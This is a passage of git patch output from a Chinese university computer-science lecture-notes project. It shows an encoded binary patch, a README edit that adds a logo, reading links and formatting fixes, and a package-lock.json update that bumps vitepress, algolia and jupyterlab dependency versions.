zMOVcTL?{}KYYU$99KyhfL7`6G@cpLVvYu$s45>`TY01Xn|KR?Oh7?A9%QQ`XhES6J zwjT_yHl$1iN-WsX#YMYFxd0-}#*V}9ljBP6juq3-dQ5;*syr&={W|`gF?T}g&0q@O zVvRUx)V!f2j?{abE)p%^P|gSU@nY88cE`C#0S{8U04G2 zeYhH+ilH%owogRbq5o`0oAKTsPs=54PjKffOm9Mw8{U<X8O&a85QDt%rj#|c@U0BUYawQ)w)OOS2RUOsJlAfkX$?I&FP{`dCG27PE*m2%Px)x-VA>m;91x{RJFuT{Qkp-t@o8;tY*K<51`hu`;E z+9cLu=@$j4t^8zftk~FLDp*8CS_Ct?i>qjy1PKPS0O_htpE6;zcwRrSVUe#=vm($O zIZ-?gIX{GyfrM4&zzpIXub!!;5O;hB{&NIHuJns_RuEAM3xp?%**K~Q?wH4h6PvgY zF9XZZb4tmGyrMLk>u4hnGdi1taw_-$ISVk-1X3)hC*tv_$w6q*utVhT8%*mZv05L@^XPx zbXHbY6*r?2cob>Y>Z1xy(MHd=OzHS}9Gb{Pa+Jg;UgF}Y{P^*}{#m*5wry3poz2KV zyZ0dSy}WWnL_|-dC`hV|uQ02?Cpa+<&WT!_g`Wcy6Pp$dI#rrcv`VyvfE0VIcs=Jor5JzZ9#b-}$&$VYL6yE1Cae%P*XJLYKjFts8W%^#K1u>LeTw4S zGXU?LeD~QjX739TZX)GUfwi6`MFQ*ZDix^$CcuXYqc`zHb@%(0Xk2F9RtFO`HDD_} zfYRXezOw=0i0^10TEv`stmsNiDE+F28PshWMgAvg>$FRuKBZ-v!)Q78$jA} z?eb=t%#iyl8*cBN{?H`4FCWm+p`q~cu~R1Y>sKntk*FKl2r?0ZPMs!mMg04M;Niry znQ&dG<#`o=iBZ-J0vWYv@a!^dSOMS{M1qC@>g%*}ps3t5I5Ckk#fSU(qUYIwA)}Ih z>7>~-l@YEePG7+Pa(?T5C!xm+YxNUIqkK*v9K4Pdwdl%A49wl!Syd$^Jh;&^g|q4m zO)f{OLFDc2?H@?^UCvgy8arapK5=^IZJ6U^z?_gUSW6awRFf;oa;ICI_Qy4>m(r&! zI8Rj$dDpGeYb6`&BB)mZm+s06A19|-lP*A2MMsce&p5rf_);>jTrz)fjm()XU)*0? z-Z--RE#NjzCspbfzI@WSMMIgom50Xz;9y;`Svqsua({=V4F>BB(~R@jse1wo#zzUEKV9 z?`-Y?Q|$Z^C*hw2*`GBvtSRzs`YcI;^kWi6-}*y}DH6q>84}y!;C#&~lE!`rxc@r2 zW%*?;_j@w)Cz3{yYApDWut<*ZPzT5X4jzFABT7EAu(0RAi&Y!o0>Wv3KJVzc@4ApH zaCw|7(q_^G;qb;u+~H>u>_rFq@yR6ub=;8)3={wx^a6lee9i{~*~$Qv<%A3uTBRJj z?6XAy$j@sV!-$k$(06O2YF`;FE1dTHXF5Dadfr#$?c!TvJeKTsnWrylEXA z40LYI*nYW)>oE@dNt38n%`y=h0v@yOU_BF|gKjZzWtKPtsV_eN_xt+N zCdnoK)Mp7#go78$%Qp&1>;*-!6UGAUowl||_Ps3oZlD3@gGqDzFiA)K(qB>SX6`rf zh&>P2`73q4hA9G46i@+*47a)d4^-Bi)t=jaDwJ4_)C^zX1>>dpU=dL!>K!yjaFO7o zrKNp@$(U$BUt89IyLZ38UI6A-s%JPUL~O_!0lMRF=|U9{+J_H5_Zv;(`IwQCGaG~& zrs3FWq9AiAI%y4XzIlZWH_?Z1xkMLU0Hc*>RHRyVl7G_G)m5fGZq-zuw#s=j&}iZd_ASQ&=c*mrY2RtxOlV>-nOAMTfmJH-P~*$nlKL&ntGSp%Y?v!m{7I;YFKrvEw{Rr!d{=}OxpI)5=7dNO*9I4vkPz&B&wpYt<$M68 zO_%w7uTM!WSrUBsH|okM0k5whVlP5&o)00}mG$vwo`zW(W`x zyu0d~q%{>RGBGnV;1>vxrJ`%m20o)HfnnCWKY9p%j4w%)^LOSz7Ud-dAZl=8drocY z3`1<36YP&Zer9IWgt5i*-x^k!qD+Nz0T$%-->HeeC)z@2ohv&{UK0Y_YXjyerb4RcR!?aXcEl8s=;3WFYcZr_Q; zXw&O{L(B|9lLW{KWueshGqiFrwagd*89=A-1*kf8J3T&+tKE7K>I4UZjwVB%{FN8f zWG-0~K?!h?ONC~Znbgb{4YS4${Mi;sa;P}@^yR5g`$wB$$&x2{#Mf;P=XW$$O*a1qo%mfEER) z%=g{9{^k)kdVOY^e@E30Dt$0JAgODlu9)hBAxC8xRcYl00cvcHmR`sml?bK zkVjG!dYF^7QjK!FW)~h8E{(S49iyaJ9swaiU~OFwd1S$gnN!;jYPqN&&_5Ux@~g*} z6hN4Sa zv>g*}!~#WCw^2`jB?pGLF;S*47uWx`M(4EQT=e`=&Q+ zA5eL3p(9bcyn5Y7CIK4S#81@*?|myy_eSxVJVm;s_s4J%T$E69cgo`I!^l^W$FX=a?@2=~ zOEyB!xcCui{+@@ch1stS9(pR_0tOTjJ}mbu7Z~~-9y>jP*NR;uwsqQ?RXPpEJN@wY zEH78rtTt|0BfE9FRq{A&>q);vuO2(6EcBXfRscK-@Y!)g%$UYwG3cJW1gZq%1b@+a zkY6NqX_W4X6?#tn34uF%!a_6OAwH}%1fZj}oO@@u3`5uovhN&teNGQ&E7EEz0X9nA z2&wf4I5^~=s`TLlU@fh1Zs2EQNkM;#1nP1a=zD_Y<|eMz4T!%3FX8L9k(*JMgNd%l zdj^`OY(kEL*4tyQ;rpeLP}?!$eG>JzhBdOaf4}FJie}#+d2K6Z?9l4BWL!KU{{+7z zngLo18@@}M{)`(XU);psdbbXe&?%Il#IfY*gIH-Qv6PzY{+T~=HWg{*5m3FN9Jmdk zK~ry1zl}>>whVBja&{$yBtJqCk9@}bt(h5m_B&wKZ1rl{|1}An=*3S&ERk|LSMcr; zkY|)>EcHa6LwZr@DN)4PN#Ex;F~qlS0n{noBsb9%TVO}9(v%-LP6MwBB(=GywCbAS zLkpbo-lyQd=w|FGclRKI^`TVAq2MRA5#FP2YWjSZX(*hlM{TC1wKbwxX|+gdc|rnw ze5CM!I_=Y!$7{5K*5ea`-~@7{_z@1vUq3|2jk&YH4xdLHH;apz{jYgQYhuWwf|qOj zT^}0km2>6kEKL4y|0EKBstYn~o^I=D%)+sBZy(5^-+ z#VOi>l{T2EeRKp^YvWj8Hu$yU)}fP1gH$BjF>CfmO6(8xRK0XV#%DsR*VhdLgJo8O zqYf8O?iABjv0CwAYJ&K8Ab!WaUB-WTJ(~~oygvN^3Lt=3K!4! zvJ`43u)f_*wi2)kOVUgZNd(=pi6_eI5-4L9-F!;U>b)Kq7yxLTsNn;LO{!(;KGe7$ z!ohF<_9xO#e*B_QNCP74^6oAF59KiP6gug`kvE^iejdxD%Lk^?Isp>n&;__@N2=gp z%Q%wf^Zv(_tseW8RW5{vNG^QcG}bHue^M<_x{ZY>445H{XGXCgr6O@Cb-FNz3$Cb0 zH$~Q5ytjdhgC#>TN5H+hqeBl9E}7`Zl-XRF3pqY;h6JLZp*=ZfI){7p^hJv{Q>c$0 z8{w2CJKnV4+U%w5;$;X2YG^boJj+(t6K zKUW@_LJz@Qwzirbu`^GFuybTK-M~>81Fycz)%rj&h4%oXg-=Q#?Dz8UZ&VgQsw$kQ zB2+WwiwV!7ilPqTgrbB8weueU<5LP;0J7Q?y2fKRJiYW_(qz<)k>(o?)$hJvZJPG; z&pVjgUs1<)Y^QiLIoaAgwr-83phsy6F`Qj${)>3u0g&bLkOv)!ZHBWDq0(b4qNpX7 zB`)61-*ZI#-{?eMkK+AaB9;#%ZtEMxi<_vvXcUBu*8+r8dDCu{@7pZs!Q+y>iyUB_ zHW+t6K#pTwWA*or3$8QMCdGzfG_x|+Ui$06`5=gz*8EGabw>4I+jG;jY39n-P`s@< zL-FtGV#NRzm6C8SVyX?}`S|h!`;fSYxkZNdDy~d2N~jM*O1syN=|jf_<+8*8EbN#z zvHiQ!hsy8tVFe(Wu8HM!8|SvG0^=qD+@?mj3zRvuScE#b7DeOFkb+8w+HS^z3IJ#W zl(t5ttlWZw2dHJ*Oir&}jjY6Egt-4=9KRZim_>brGvVcDBPJ1jZ(KcFo_;mosbA_{ z=cBg9CnPn+F9wjR)zxv7W%Z6CU^P_cK(Q`^E{99~WuC4y7L1Sq`t-P<42D|q;xu*2 z1bOP}9Fh1pdT8Tn=f+CyI^(g#V&fT`CXg_!6`N?xim-f093l#v9L=AB*}k{`z*ik^ zM{D*RWj9qGmhLFO$NPcJFHB3D+BM%V;0NXU4wV5o3IL zftzUQ=`b&Pk+@%*KD8se|L3abZmUQ6K6CjtFCakopxfQ76kllzlXsESa;N-9)t>v< zl8Enew(rhxgKC-ie&RhoBre?h<_n>A_v4u65st@&o)F7 zWF!khGc9+Q%tT%PSe$+Cc~PKq78z3?de5#XCXqs!wz|JY3)*$+8Lr`YURrEw!Ndzg zFTy{?zZ8cpquV|45hFsm5N{TGf5|59>vihs3ELGrFZ`U9jp*Hb zRkAHLUg`1BM1paWE#Tw9e!Y{Vmtz1Pa3r~Cxv0GR2=8P2w$x-Tc;$V~HSX`du{gbL zYYUsrHJOo4kdHaja39-}W$58Hr1VK{&3T#;J1A!DfaKm|h_vG9LGP<@qi~(lVkgVa zo3uX^6el`Ds{Ne|?SB6T=1%vhlHZWrXAT?~D9F|$g2%b53t|^CC9<8DSexFxd(W$5 zn$Nr8^}pdy#_s~*5*i=k1HdD&+d9t=Pbqoc?;{2pIauupH6mVrdv~x4zZ~29nhszI zLEpG#9~&7Z`}%X9x;{5z=R|}+9hPxUr`r2VX}%qEUA$XZ9(b?}l8nZHk#NSc-bluM zH(GWc&+?7BTzzy6L9IujTA#ejp3jU1ZYz2VYiyIqRvuapij2rAi9sjL=c;k>=kI5B zjpf+uH!wGCX_bcauBPQ9nun5>DNTg|2a)IsF1dJ{*C#w*;G)=PHox6sj~}SNUFg;A zFOpQ*S6tW;UV2+)>|3C5$Wi=5_1lVHGJKBr@xb1@tZ(mJ^ZqyFF4)n`483_g=T|d*1c@F8g9EjQCLcZ%Ff6DLWXBxDBqbJo`t%0T z)JJb%m|gQupRGD#iyq21Z(YH-8ehsQBp8Ie-Fvk8`I1jZzL+w5w13-rlt#+PtB=$R z7KG`}yGkk<5AM1OCq6zAR=Z>}qRJE*c-`2!!n=G-jp-=xm~Y#~fnmOlLVOz0jxSGe zOiNb}dK;GOkyV1AR1S7srY!TM3aJVWBCN*7Ki$XaR+I+WU$e@mO?*_y@s+w>+4OO= zZ?(KQZzn!NV!w<8oSJJprTM`VK)OMgwZTHHvFTyQ80BPE&`h_w}H>uQCX9~U$( zfRXx7(Ta$Ay<4ke_ksID8|K0V_SsEyGi;T+s}`4-wCP9HZX8BPK#i^1$*M*Uc270M zs+U*W5DN0e<5?D+{M(to)50HP`{i!;o4b&Vw4~j6)*WgJePVPNHPLB}kY$V~ra1TPm1Z*JpP*DdFZ=(82^~CUNaLh;SZV#$|9|{ zFx6OLU#5i3v%JU{k5-wtFE=Z>Jt63V3b;$!n6B1_3Glwv-OAA;2nqTGL%MoK&8yq9t6NSbfPivVi3@{z03)zPL<=SqC z5llDfeq6N66(w|~*mYGR&fz;E1dawtXc{e>if$_Ur1u^cJG zs2uW{?mIh7k^=J;yaLsfyp`IhgtJ---3{@@f~n_=AI3|^;+8sPz_?|rFC%awtJe$E zA-c{~v*3n?Q+jh}F|(~kAtc~iSn3EFRLkg0KMM4yAz5o+2~QkN?OlAFV4bP&L-s0n z*egHx({DIk|Htv`ydLi@d-s-mTx&J*wc^#eD*NlW*^l8(LCu;2JC_!1D$8$i!?BDA z<96t)A1tPl%nl3hjh;%cm-r~ODaZ-W5y^e-2C^LlZC9TrG-9F9emtEWD#km(#M`|~ zMStm*>AqizTsrGcJ#Km5tX3mQ5Nh)5&4hRQyC(^=n^4`UkfVKqTBQ;F>Bt-+4qMVL zzFh*1V65Ur?ZOU|>=AnS7D-Eb=XSobq66-(gqWrPbfCrJnVe0%94dzn5OuB3Gb`zb zS2rtcNwMc&JmVMVu}!ScPn_02@3-}ONGrB=J-#f~3oZUCVKGx;_XiQ9JTF7WZoHJm z56$igKmnLg6xxoam6gk;o&B+e8U9?WKR80yL@EBu^+3q@Z{s*ck?j1Aou?^2QGz%l z>KH=;_f=kI-fD}m!!>(4VYrWa?cBPsMSXjtrLZ((HyTHLh8gLO*br}31I&xVxfVW4 z?UcNXDojsNk#4_z9E8~T6kfw&(1<$XMdD```*ryoa|mo{J3PCv!`~yJ)(a@4sa}Db z_9`pUiP9R}X(E!{5NyZSXk6K& zJ7=ZR{Q7a)ug{yvqgNJSCR`4sMg5YbjPma(YdNf8pKi%KpIfl&w1##_yqzan6VFig$#RD@F?4K^3J4f+;90LSw0TZ4 zg(im8jE_qE5jL|;PY&`v7#|@zF9i*2C403Ax*TNa z4JfK2@peC-an*>NWU<$LRrC_FHqtQ?Hrj}4|J8+f?^+q|zH<1MW=%xUg=pkc%-H%% zO+V&CEcpAqW??8+cm)n(MZGnFW7vRXR@w)qBH@VkJ&b72_x1P7kiXRq({L>KRU1nD#k9J+^Na0t=BNnu zvf|z4YY9nD1@_2;A~vsUdcNrRlaufV;l^xU#-ab)%VaIndPaaIuXW|BPCH_<#$~A{ zVL|1MSJU-LZvIUR1IdMmP&vvVy1tpY<3lD&#FTEW_;`Rs$@{3nbY7-t_mn_$GYM-| zU7mMudlis?&JJ5U%%j$HU$ytRc;xfDtj_Q68nIf_^PUrs@4!CUX4@Z9uH|_9QO)F_ zVwARy3ZNc$o2N*vpKAl7?qvgmwfp@>#P_2XshqF(!^ue#De$U`^v~A3ar;#ZVfmQt zS{+aBOdKXOm$V4&MW4TKy|3m3ym!C3Qa_AJVEm?ho{<|Cfkk5SKF;Uc{&OjDpqk`` zx7!0paK3qKQu3saDdHacw%M-1*c9D4-|H7K+%CiIHB#Lncn)3bt0-k~49sr59dBi> zMI$M$muRiqP(}bi~XP$NeJoZy* z^F^R$-CuMUvM-zkI$r8%?YXSE;M8Nr2ISpnzu(SNEw_A0G&Y#^Xv=rdN=2W>ZEG%8 z!$?6!k(rs%Oj2d*hI*`9I>^oSsC)svTse*N5T5HhRWTX-O<)_D&MH&^0 zGHzWRL+;yCCAp6&F9-Wn-TyUoS-KkU{K9c_>MP+{{cOVknzs^enW~~ z8gEH`F0;?)F8MbJ7?3U=Z?m4C1MLT# z3v~%2Ky{JkoKMEkawngvvY@9adoe| zZbXu;D%-=Y(pM$9>r6)si1+#J+3J$v_U!WJMtyzbz0yVB7I8$-C%ve+ra6<6-$p(^ zIMj*r5L8m!irQwQLn=(%|BWv~9Na^k$QzNUubs5c zMl)^5mgVXC?2$leA|VtaHrKP^3)PDMZ!hX<<}pxEP#bcRV(S0vw*UXP_XdazQ19=u XZceG%{`>a87brO?WyxxB Date: Fri, 14 Jul 2023 02:34:59 +0800 Subject: [PATCH 26/85] Update README.md --- README.md | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/README.md b/README.md index a7e2215..e1a5afc 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,7 @@ -

HDU计算机科学讲义

+
+ logo +
+

HDU计算机科学讲义

-
喜欢本项目可以点点右上角 star 🎇
+
喜欢本项目可以点击右上角 star 收藏哦🎇

- 📚在线阅读 + 📚在线阅读(美国、AWS节点) + 🎉【推荐】📚在线阅读(中国腾讯云CDN节点)

## 序言 @@ -32,7 +36,7 @@ **我们会面临着各种各样的问题**:编程从哪里学起?如何高效利用大学时间?如何平衡绩点与项目经验?如何正确安排学习配比?有没有人带带弟弟?如何问大佬问题得到回复的概率更高? -**我们会被信息洪流所淹没**:C语言、Go、Java、Python;人工智能、机器学习、pytorch、tensorflow;数据库、操作系统、计算机网络;Linux、Git。哪个应该马上学,哪个应该多学,哪个只要会用就行? +**我们会被信息洪流所淹没**:C语言、Go、Java、Python ;人工智能、机器学习、PyTorch、TensorFlow ;数据库、操作系统、计算机网络;Linux、Git。哪个应该马上学,哪个应该多学,哪个只要会用就行? **我们面临各种各样的抉择**:搞开发还是搞科研,毕业直接工作还是考研?搞开发的话去做前端还是后端,哪里去找项目?搞研究的话怎么去联系实验室,又如何入门人工智能?要不要去参加竞赛,有哪些竞赛,如何挑选队友? @@ -44,7 +48,7 @@ 这份讲义由**zzm**发起,**孵化器**,**SRT**, **杭电助手**与 **Vidar-Team** 协办。参与讲义制作的有 hdu 的同学,老师,相关领域的大佬,覆盖了人工智能入门、软件开发入门,计算机学习之道与路线等内容。 -zzm花费了一年的时间动员了大伙对讲义进行修缮和完备,不得不说这确实不是一个小的工作,不过在2023年3月,在计院领导的支持下,计算机学院科协成立了。我们将在学院的支持下继续完善这个内容,同时也欢迎大伙加入我们,共同参与到讲义的学习与撰写中来! +zzm 花费了一年的时间动员了大伙对讲义进行修缮和完备,不得不说这确实不是一个小的工作,不过在2023年3月,在计院领导的支持下,计算机学院科协成立了。我们将在学院的支持下继续完善这个内容,同时也欢迎大伙加入我们,共同参与到讲义的学习与撰写中来!
@@ -58,9 +62,9 @@ zzm花费了一年的时间动员了大伙对讲义进行修缮和完备,不 2. 切记勿要过度深度遍历知识,知识无尽的,如果深度钻研下去,可能没有尽头,最重要的是框架,以及高频次用的知识。更为准确地说,是你要建立一个自己的知识体系,尝试抓住时代发展的脉络或者某一个知识点的延伸。如果你一个知识点无限迭代下去,可能长时间没有正反馈,一瞬间就放弃了。 3. 对于学到的知识 一定要注重实践 不能只学习理论知识 -例如学习Pytorch,应该尽快理解Pytorch编程的框架,dataloder,model,train,test文件 +例如学习 Pytorch ,应该尽快理解 Pytorch 编程的框架,dataloder,model,train,test 文件 -例如学习学习过程中学习到Linux命令,不是需要把整本Liunx书籍全部看完后才可使用 +例如看书过程中学习到 Linux 命令,不需要把整本 Liunx 书籍全部看完后才可使用。(边学边试,边用边学) 4. 敢于否定,如果对于给出的学习资料看不懂,要尝试自己寻找学习资料,找到适合自己的那份学习资料。并且中文的社区包括我们,都可能会犯各种各样的错误。就连论文也不一定是对的。有写论文就是专门驳斥前人哪怕是巨佬的观点。我非常欢迎你提出异议。 @@ -76,6 +80,7 @@ zzm花费了一年的时间动员了大伙对讲义进行修缮和完备,不 ## **许可协议** -本作品采用 `知识共享 署名-非商业性使用-相同方式共享 3.0 中国大陆` 许可协议进行许可. 要查看该许可协议, 可访问 [这里](http://creativecommons.org/licenses/by-nc-sa/3.0/cn/) , 或者写信到 Creative Commons, PO Box 1866, Mountain View, CA 94042, USA +本作品采用 `知识共享 署名-非商业性使用-相同方式共享 3.0 中国大陆` 许可协议进行许可。 要查看该许可协议, 可访问[这里](http://creativecommons.org/licenses/by-nc-sa/3.0/cn/), 或者写信到 Creative Commons, PO Box 1866, Mountain View, CA 94042, USA. + +© 2022. 此文章采用 [**CC BY-NC-SA 3.0 CN**](http://creativecommons.org/licenses/by-nc-sa/3.0/cn/) 许可授权。 -© 2022. 此文章采用 **CC BY-NC-SA 3.0 CN** 许可授权。 From 047da2ae62508efb820daf0b5485d9a524668543 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Fri, 14 Jul 2023 02:37:59 +0800 Subject: [PATCH 27/85] chore: update dependencies --- package-lock.json | 1969 ++++++++++++++++++++++++++++++--------------- package.json | 4 +- 2 files changed, 1314 insertions(+), 659 deletions(-) diff --git a/package-lock.json b/package-lock.json index 1ef3b50..4104505 100644 --- a/package-lock.json +++ b/package-lock.json @@ -8,44 +8,44 @@ "@codemirror/lang-python": "^6.1.3", "@codemirror/lang-sql": "^6.5.2", "@jupyterlab/mathjax2": "^3.6.5", - "@jupyterlab/theme-light-extension": "^4.0.2", + "@jupyterlab/theme-light-extension": "^4.0.3", "markdown-it": "^13.0.1" }, "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-beta.3" + "vitepress": "^1.0.0-beta.5" } }, "node_modules/@algolia/autocomplete-core": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.2.tgz", - "integrity": "sha512-hkG80c9kx9ClVAEcUJbTd2ziVC713x9Bji9Ty4XJfKXlxlsx3iXsoNhAwfeR4ulzIUg7OE5gez0UU1zVDdG7kg==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.9.3.tgz", + "integrity": "sha512-009HdfugtGCdC4JdXUbVJClA0q0zh24yyePn+KUGk3rP7j8FEe/m5Yo/z65gn6nP/cM39PxpzqKrL7A6fP6PPw==", "dev": true, "dependencies": { - "@algolia/autocomplete-plugin-algolia-insights": "1.9.2", - "@algolia/autocomplete-shared": "1.9.2" + "@algolia/autocomplete-plugin-algolia-insights": "1.9.3", + "@algolia/autocomplete-shared": "1.9.3" } }, "node_modules/@algolia/autocomplete-plugin-algolia-insights": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.2.tgz", - "integrity": "sha512-2LVsf4W66hVHQ3Ua/8k15oPlxjELCztbAkQm/hP42Sw+GLkHAdY1vaVRYziaWq64+Oljfg6FKkZHCdgXH+CGIA==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-plugin-algolia-insights/-/autocomplete-plugin-algolia-insights-1.9.3.tgz", + "integrity": "sha512-a/yTUkcO/Vyy+JffmAnTWbr4/90cLzw+CC3bRbhnULr/EM0fGNvM13oQQ14f2moLMcVDyAx/leczLlAOovhSZg==", "dev": true, "dependencies": { - "@algolia/autocomplete-shared": "1.9.2" + "@algolia/autocomplete-shared": "1.9.3" }, "peerDependencies": { "search-insights": ">= 1 < 3" } }, "node_modules/@algolia/autocomplete-preset-algolia": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.2.tgz", - "integrity": "sha512-pqgIm2GNqtCT59Y1ICctIPrYTi34+wNPiNWEclD/yDzp5uDUUsyGe5XrUjCNyQRTKonAlmYxoaEHOn8FWgmBHA==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.9.3.tgz", + "integrity": "sha512-d4qlt6YmrLMYy95n5TB52wtNDr6EgAIPH81dvvvW8UmuWRgxEtY0NJiPwl/h95JtG2vmRM804M0DSwMCNZlzRA==", "dev": true, "dependencies": { - "@algolia/autocomplete-shared": "1.9.2" + "@algolia/autocomplete-shared": "1.9.3" }, "peerDependencies": { "@algolia/client-search": ">= 4.9.1 < 6", @@ -53,9 +53,9 @@ } }, "node_modules/@algolia/autocomplete-shared": { - "version": "1.9.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.2.tgz", - "integrity": "sha512-XxX6YDn+7LG+SmdpXEOnj7fc3TjiVpQ0CbGhjLwrd2tYr6LVY2D4Iiu/iuYJ4shvVDWWnpwArSk0uIWC/8OPUA==", + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.9.3.tgz", + "integrity": "sha512-Wnm9E4Ye6Rl6sTTqjoymD+l8DjSTHsHboVRYrKgEt8Q7UHm9nYbqhN/i0fhUYA3OAEH7WA8x3jfpnmJm3rKvaQ==", "dev": true, "peerDependencies": { "@algolia/client-search": ">= 4.9.1 < 6", @@ -63,132 +63,132 @@ } }, "node_modules/@algolia/cache-browser-local-storage": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.2.tgz", - "integrity": "sha512-ZkVN7K/JE+qMQbpR6h3gQOGR6yCJpmucSBCmH5YDxnrYbp2CbrVCu0Nr+FGVoWzMJNznj1waShkfQ9awERulLw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.18.0.tgz", + "integrity": "sha512-rUAs49NLlO8LVLgGzM4cLkw8NJLKguQLgvFmBEe3DyzlinoqxzQMHfKZs6TSq4LZfw/z8qHvRo8NcTAAUJQLcw==", "dev": true, "dependencies": { - "@algolia/cache-common": "4.17.2" + "@algolia/cache-common": "4.18.0" } }, "node_modules/@algolia/cache-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.17.2.tgz", - "integrity": "sha512-fojbhYIS8ovfYs6hwZpy1O4mBfVRxNgAaZRqsdVQd54hU4MxYDYFCxagYX28lOBz7btcDHld6BMoWXvjzkx6iQ==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.18.0.tgz", + "integrity": "sha512-BmxsicMR4doGbeEXQu8yqiGmiyvpNvejYJtQ7rvzttEAMxOPoWEHrWyzBQw4x7LrBY9pMrgv4ZlUaF8PGzewHg==", "dev": true }, "node_modules/@algolia/cache-in-memory": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.17.2.tgz", - "integrity": "sha512-UYQcMzPurNi+cPYkuPemTZkjKAjdgAS1hagC5irujKbrYnN4yscK4TkOI5tX+O8/KegtJt3kOK07OIrJ2QDAAw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.18.0.tgz", + "integrity": "sha512-evD4dA1nd5HbFdufBxLqlJoob7E2ozlqJZuV3YlirNx5Na4q1LckIuzjNYZs2ddLzuTc/Xd5O3Ibf7OwPskHxw==", "dev": true, "dependencies": { - "@algolia/cache-common": "4.17.2" + "@algolia/cache-common": "4.18.0" } }, "node_modules/@algolia/client-account": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.17.2.tgz", - "integrity": "sha512-doSk89pBPDpDyKJSHFADIGa2XSGrBCj3QwPvqtRJXDADpN+OjW+eTR8r4hEs/7X4GGfjfAOAES8JgDx+fZntYw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.18.0.tgz", + "integrity": "sha512-XsDnlROr3+Z1yjxBJjUMfMazi1V155kVdte6496atvBgOEtwCzTs3A+qdhfsAnGUvaYfBrBkL0ThnhMIBCGcew==", "dev": true, "dependencies": { - "@algolia/client-common": "4.17.2", - "@algolia/client-search": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/client-search": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "node_modules/@algolia/client-analytics": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.17.2.tgz", - "integrity": "sha512-V+DcXbOtD/hKwAR3qGQrtlrJ3q2f9OKfx843q744o4m3xHv5ueCAvGXB1znPsdaUrVDNAImcgEgqwI9x7EJbDw==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.18.0.tgz", + "integrity": "sha512-chEUSN4ReqU7uRQ1C8kDm0EiPE+eJeAXiWcBwLhEynfNuTfawN9P93rSZktj7gmExz0C8XmkbBU19IQ05wCNrQ==", "dev": true, "dependencies": { - "@algolia/client-common": "4.17.2", - "@algolia/client-search": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/client-search": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "node_modules/@algolia/client-common": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.17.2.tgz", - "integrity": "sha512-gKBUnjxi0ukJYIJxVREYGt1Dmj1B3RBYbfGWi0dIPp1BC1VvQm+BOuNwsIwmq/x3MPO+sGuK978eKiP3tZDvag==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.18.0.tgz", + "integrity": "sha512-7N+soJFP4wn8tjTr3MSUT/U+4xVXbz4jmeRfWfVAzdAbxLAQbHa0o/POSdTvQ8/02DjCLelloZ1bb4ZFVKg7Wg==", "dev": true, "dependencies": { - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "node_modules/@algolia/client-personalization": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.17.2.tgz", - "integrity": "sha512-wc4UgOWxSYWz5wpuelNmlt895jA9twjZWM2ms17Ws8qCvBHF7OVGdMGgbysPB8790YnfvvDnSsWOv3CEj26Eow==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.18.0.tgz", + "integrity": "sha512-+PeCjODbxtamHcPl+couXMeHEefpUpr7IHftj4Y4Nia1hj8gGq4VlIcqhToAw8YjLeCTfOR7r7xtj3pJcYdP8A==", "dev": true, "dependencies": { - "@algolia/client-common": "4.17.2", - "@algolia/requester-common": "4.17.2", - "@algolia/transporter": "4.17.2" + "@algolia/client-common": "4.18.0", + "@algolia/requester-common": "4.18.0", + "@algolia/transporter": "4.18.0" } }, "node_modules/@algolia/client-search": { - "version": "4.17.2", - "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.17.2.tgz", - "integrity": "sha512-FUjIs+gRe0upJC++uVs4sdxMw15JxfkT86Gr/kqVwi9kcqaZhXntSbW/Fw959bIYXczjmeVQsilYvBWW4YvSZA==", + "version": "4.18.0", + "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.18.0.tgz", + "integrity": 